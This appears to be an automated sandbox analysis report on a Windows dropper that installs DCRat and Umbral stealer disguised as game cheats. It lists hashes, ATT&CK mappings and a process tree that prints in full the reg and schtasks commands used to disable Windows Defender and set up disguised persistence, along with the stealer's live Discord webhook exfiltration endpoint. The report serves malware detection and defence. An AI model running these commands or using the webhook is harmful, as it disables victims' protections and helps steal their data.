Overview

overview

10

Static

static

10

11e550c201...e2.exe

windows7-x64

10

11e550c201...e2.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    31-10-2024 02:05

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    11e550c201ee70fb01902b1e84b19a133c0861e170c764db9d8755be67fdcde2.exe

  • Size

    12.9MB

  • MD5

    e3a480a53d8b2c398a7642e1f4e84785

  • SHA1

    7f8fa5e3dc9be9055f9202213be33460a1af1e09

  • SHA256

    11e550c201ee70fb01902b1e84b19a133c0861e170c764db9d8755be67fdcde2

  • SHA512

    b3fce5ac73b75fb70d6c798517426ee614b72f24236baf07752f1289a8ce78d74c3c1ec5168f1d8fbcaa5b7de072ef3175f895ac1a49379f716209df49d103e8

  • SSDEEP

    393216:oJlQ1evI2bs6Yuno3rkJ3InoKasOnHDJaM8t:obQpgssCKInwjJaMu

Score
10/10
dcratumbraldefense_evasiondiscoveryevasioninfostealerpersistenceratstealertrojanvmprotect

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1266665187293794356/BgUJDQi9QXAA0avjRcAiy-uTUWdbVUSk8SQjon--JNjDxPP5bEhE6DLfJFghJ_KLSRhA

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Dcrat family
    dcrat
  • Detect Umbral payload 3 IoCs
  • Modifies WinLogon for persistence 2 TTPs 3 IoCs
    persistence
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 21 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 2 IoCs
    evasion
  • Process spawned unexpected child process 9 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Umbral family
    umbral
  • DCRat payload 4 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 10 IoCs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies Security services 2 TTPs 8 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\11e550c201ee70fb01902b1e84b19a133c0861e170c764db9d8755be67fdcde2.exe
    "C:\Users\Admin\AppData\Local\Temp\11e550c201ee70fb01902b1e84b19a133c0861e170c764db9d8755be67fdcde2.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
      "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2156
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2424
    • C:\Users\Admin\AppData\Local\Temp\Primordial Crack.exe
      "C:\Users\Admin\AppData\Local\Temp\Primordial Crack.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
        "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2724
        • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
          "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:1704
          • C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
            "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1304
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1592
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
                7⤵
                • Loads dropped DLL
                PID:2836
                • C:\blockweb\portrefNet.exe
                  "C:\blockweb\portrefNet.exe"
                  8⤵
                  • Modifies WinLogon for persistence
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2784
                  • C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\WMIADAP.exe
                    "C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\WMIADAP.exe"
                    9⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2880
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2504
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2768
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2648
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2952
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2980
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2344
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2752
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2728
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:1716
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2624
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2656
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1988
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
          4⤵
            PID:1764
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
            4⤵
              PID:2512
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1920
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1668
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1792
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1272
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1144
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1800
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
              4⤵
                PID:1596
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                4⤵
                • System Location Discovery: System Language Discovery
                PID:792
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2908
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2920
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2896
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2292
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2228
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                4⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:2968
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                4⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:764
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                4⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:2196
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                4⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:2972
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                4⤵
                • Modifies security service
                • System Location Discovery: System Language Discovery
                PID:2964
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2172
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2804
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2860
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2500
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:3020
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              • System Location Discovery: System Language Discovery
              PID:2732
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:2776
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              • System Location Discovery: System Language Discovery
              PID:2984
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              • System Location Discovery: System Language Discovery
              PID:2636
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              • System Location Discovery: System Language Discovery
              PID:2660
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2616
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2632
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2676
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2600
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
              3⤵
                PID:2352
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1924
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1528
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1788
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1908
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1992
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2812
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1604
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2032
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2904
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2956
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2884
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                3⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:2976
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                3⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:2336
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                3⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:2996
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                3⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:2708
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                3⤵
                • Modifies security service
                • System Location Discovery: System Language Discovery
                PID:2436
          • C:\Windows\system32\conhost.exe
            \??\C:\Windows\system32\conhost.exe "-541282379-1441172606602402499650283616-2074951423-8963394911884860654-70689953"
            1⤵
              PID:2952
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 9 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\WMIADAP.exe'" /f
              1⤵
              • Process spawned unexpected child process
              • Scheduled Task/Job: Scheduled Task
              PID:1772
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\WMIADAP.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Scheduled Task/Job: Scheduled Task
              PID:2512
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 13 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\WMIADAP.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Scheduled Task/Job: Scheduled Task
              PID:1920
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.es\WmiPrvSE.exe'" /f
              1⤵
              • Process spawned unexpected child process
              • Scheduled Task/Job: Scheduled Task
              PID:1272
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.es\WmiPrvSE.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Scheduled Task/Job: Scheduled Task
              PID:2052
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.es\WmiPrvSE.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Scheduled Task/Job: Scheduled Task
              PID:1992
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\taskhost.exe'" /f
              1⤵
              • Process spawned unexpected child process
              • Scheduled Task/Job: Scheduled Task
              PID:1604
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "taskhost" /sc ONLOGON /tr "'C:\Users\Default User\taskhost.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Scheduled Task/Job: Scheduled Task
              PID:1736
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\taskhost.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Scheduled Task/Job: Scheduled Task
              PID:792

            Network

            MITRE ATT&CK Enterprise v15

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Persistence

            Boot or Logon Autostart Execution

            2
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Winlogon Helper DLL

            1
            T1547.004

            Create or Modify System Process

            2
            T1543

            Windows Service

            2
            T1543.003

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Boot or Logon Autostart Execution

            2
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Winlogon Helper DLL

            1
            T1547.004

            Create or Modify System Process

            2
            T1543

            Windows Service

            2
            T1543.003

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Impair Defenses

            2
            T1562

            Disable or Modify Tools

            1
            T1562.001

            Modify Registry

            5
            T1112

            Credential Access

            Discovery

            Query Registry

            1
            T1012

            System Information Discovery

            1
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\Cab9C3.tmp
              Filesize

              70KB

              MD5

              49aebf8cbd62d92ac215b2923fb1b9f5

              SHA1

              1723be06719828dda65ad804298d0431f6aff976

              SHA256

              b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

              SHA512

              bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
              Filesize

              7.5MB

              MD5

              b76057df968a944446f950dd4ddc6aec

              SHA1

              bb64de1c677368764000d34c29528ead2f48405c

              SHA256

              afe91fea04d39de5710ad065252d13b9df7b7bd25788ddf5afb162a2f0a03296

              SHA512

              7f45198fe05013ceab477784bde2b1c4532607bd8ba8d9cfb09c5bb037dd2616086c8cb3afd669b24ec89eedbd270d00f1bd6bce2644b40ed36b8f32fc5fdb31

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
              Filesize

              12.7MB

              MD5

              7db5128f7a81cc1af094d8898e79ff21

              SHA1

              d503984331d5999c14931c267d859fbd1510c282

              SHA256

              2952fa4ab9bc3e2b04b1f3ab6b648d0d23fa74856c50bf21fb13fddfe9a874bb

              SHA512

              caceec284b71df124d47267e5ca42bf84e558aa9606b0186f132fba8d2bead2ddbd9304cd82761270b6c42271e0937aeff605ef5d865c424cc29b39ca05b123a

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\Tar9E5.tmp
              Filesize

              181KB

              MD5

              4ea6026cf93ec6338144661bf1202cd1

              SHA1

              a1dec9044f750ad887935a01430bf49322fbdcb7

              SHA256

              8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

              SHA512

              6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\windows defender.bat
              Filesize

              3KB

              MD5

              4c35b71d2d89c8e8eb773854085c56ea

              SHA1

              ede16731e61348432c85ef13df4beb2be8096d9b

              SHA256

              3efeeaaabfd33ff95934bee4d6d84e4ecb158d1e7777f6eecd26b2746991ed42

              SHA512

              a6ccbb2913738ca171686a2dd70e96330b0972dadb64f7294ac2b4c9bb430c872ed2bcd360f778962162b9e3be305836fa7f6762b46310c0ad4d6ef0c1cdac8d

              Download Submit

            • C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe
              Filesize

              221B

              MD5

              ca2cae3c10113fc32484a48196e2ffaa

              SHA1

              8eb74a53fe655c5b538246f42cc078d8900bf215

              SHA256

              98311058614dd00a0d0e9e9c38f9df5d1d951525741fc46901d1a396baddd8f2

              SHA512

              6cf05ca56f4c6320bc490401e742f81230e6c138651d958776f497d5e4889fe16c5853a1864791a3f10b4b3d103f5218894be4c7009d1eb7b32e243111b166af

              Download Submit

            • C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat
              Filesize

              39B

              MD5

              19fe83feec263d4e4e68e3dd0e6b3615

              SHA1

              7ff948a654d54acfde0e798fe1d67160343f8dfd

              SHA256

              07dc5ed69f4847071b41d0086ef8a11032c2d85b1ec8a8b00a5d29480c3e6744

              SHA512

              ee6fef4211b60dff50b7cdb88f9ec0028a67bc428ab854c0932db7e5873f9a22e16760d59ff6b885fdb96ed7f6582d3735f629d6e825dcfd1e8c13c5d5adae78

              Download Submit

            • C:\blockweb\file.vbs
              Filesize

              34B

              MD5

              677cc4360477c72cb0ce00406a949c61

              SHA1

              b679e8c3427f6c5fc47c8ac46cd0e56c9424de05

              SHA256

              f1cccb5ae4aa51d293bd3c7d2a1a04cb7847d22c5db8e05ac64e9a6d7455aa0b

              SHA512

              7cfe2cc92f9e659f0a15a295624d611b3363bd01eb5bcf9bc7681ea9b70b0564d192d570d294657c8dc2c93497fa3b4526c975a9bf35d69617c31d9936573c6a

              Download Submit

            • \Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
              Filesize

              229KB

              MD5

              06129ffc46e854930cfcaa754ca1d487

              SHA1

              e7c173c48aa107ec63bd6f9030c9ec6fe889d832

              SHA256

              10d28e18a7df4b2c30e05e5e361f1724e0b6ea8c021d8105ee30354be79b98d1

              SHA512

              b7121a2a65f317edbc1b4dd8dec427c277fad2b521a211d1408bc06b79431c418dad32ed61481c5ef49511cd167846e026a86147ae77bd9b0e607918feb66ab9

              Download Submit

            • \Users\Admin\AppData\Local\Temp\DCRatBuild.exe
              Filesize

              2.5MB

              MD5

              6e01d4882274684f48e04436103ad57f

              SHA1

              3b88df5fc9e6973bf3ecb1e2ed759b86774cb290

              SHA256

              424497764bc1e2cd57f454d173dceeb9dcd7f900aaf5060110da629d11fadf8d

              SHA512

